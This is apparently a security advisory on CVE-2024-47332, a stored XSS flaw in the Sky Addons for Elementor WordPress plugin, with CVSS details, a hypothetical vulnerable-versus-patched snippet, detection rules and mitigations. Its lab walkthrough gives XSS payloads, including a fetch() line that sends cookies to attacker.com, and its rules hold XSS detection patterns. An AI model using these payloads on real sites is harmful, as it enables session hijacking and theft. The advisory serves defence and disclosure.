CVE-2024-47332

Executive Summary

CVE-2024-47332 is a Stored Cross-Site Scripting (XSS) vulnerability in the Sky Addons for Elementor WordPress plugin developed by Wowdevs. The vulnerability affects all versions up to and including 2.5.11. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript payloads into web pages generated by the plugin. When an administrator or other user views the compromised page, the payload executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx directly. The root cause is improper neutralization of user-supplied input during web page generation, specifically within the plugin's widget rendering logic.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are at risk. There is no known supply chain compromise of the plugin's source code; the vulnerability is a result of insecure coding practices within the plugin itself.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level or higher)
• User Interaction: Required (Victim must view the compromised page)
• Scope: Changed (Impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is Medium due to the requirement for authenticated access and user interaction. However, the potential for stored XSS in a widely-used Elementor addon makes it a significant risk for WordPress sites with multiple authors.

Deep Dive & Mechanics

The vulnerability resides in the Sky Addons for Elementor plugin's widget rendering functionality. The plugin fails to properly sanitize and escape user-supplied input before outputting it in the HTML of a page or post. Specifically, when a user with contributor-level access or higher creates or edits a page using the plugin's widgets, they can inject arbitrary HTML and JavaScript into fields that are later rendered without proper encoding.

The attack flow is as follows:

1. An attacker with contributor-level privileges logs into the WordPress admin panel.
2. The attacker creates a new page or post and inserts a Sky Addons widget.
3. The attacker enters a malicious payload (e.g., <script>alert('XSS')</script>) into a widget field that is not properly sanitized.
4. The page is saved and published.
5. When an administrator or other user views the page, the JavaScript payload executes in their browser.

The vulnerability is classified as Stored XSS because the malicious script is permanently stored on the server and executed each time the page is loaded.

Vulnerable vs. Patched Code

Since no official patch has been released, the vulnerable code remains in versions <= 2.5.11. The following is a hypothetical example of the vulnerable code and a patched version.

Vulnerable Code (PHP):

// In a widget render method
echo '<div class="sky-widget">' . $instance['title'] . '</div>';

Patched Code (PHP):

// In a widget render method
echo '<div class="sky-widget">' . esc_html( $instance['title'] ) . '</div>';

The vulnerable code directly outputs user input without escaping, while the patched version uses esc_html() to neutralize any HTML or JavaScript.

Exploitation & Lab Setup

Red Team

To exploit this vulnerability in a lab environment:

1. Set up a WordPress instance with the Sky Addons for Elementor plugin (version <= 2.5.11) installed and activated.
2. Create a user account with contributor-level privileges.
3. Log in as that user and create a new page.
4. Insert a Sky Addons widget (e.g., the "Heading" widget).
5. In the widget's title field, enter the following payload:

   <script>alert('XSS')</script>
   

6. Save and publish the page.
7. Log in as an administrator and navigate to the published page. The JavaScript alert will execute.

For a more advanced payload, use:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

To detect exploitation attempts:

1. Monitor WordPress admin logs for unusual widget creation or editing by low-privilege users.
2. Inspect page content for unexpected <script> tags or event handlers (e.g., onload, onerror).
3. Use a Web Application Firewall (WAF) to block common XSS payloads.
4. Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• File-based IOCs:

  • Presence of unexpected JavaScript code in WordPress posts or pages.
  • Modified plugin files (though unlikely in this case).

• Network-based IOCs:

  • Outbound HTTP requests to unknown domains from the WordPress server.
  • Suspicious GET or POST requests containing <script> tags in the URL or body.

• Log-based IOCs:

  • WordPress audit logs showing widget creation by non-admin users.
  • Web server logs containing XSS payloads in the request URI or POST data.

Detection Engineering

YARA Rule

rule CVE_2024_47332_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Sky Addons for Elementor"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-47332"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*["']?[^"'\s>]+["']?/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Sky Addons for Elementor
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in WordPress pages created with Sky Addons for Elementor
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47332 Stored XSS in Sky Addons for Elementor"; flow:to_server,established; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Since no official patch is available, the following mitigations are recommended:

1. Disable the plugin until a patched version is released.
2. Restrict user roles to prevent low-privilege users from creating or editing pages with Sky Addons widgets.
3. Implement a Web Application Firewall (WAF) with rules to block common XSS payloads.
4. Apply a Content Security Policy (CSP) that restricts script execution to trusted sources.
5. Monitor WordPress logs for suspicious activity related to widget creation.
6. Use a security plugin like Wordfence to add an additional layer of protection.

Valters IT
Securing Digital Frontiers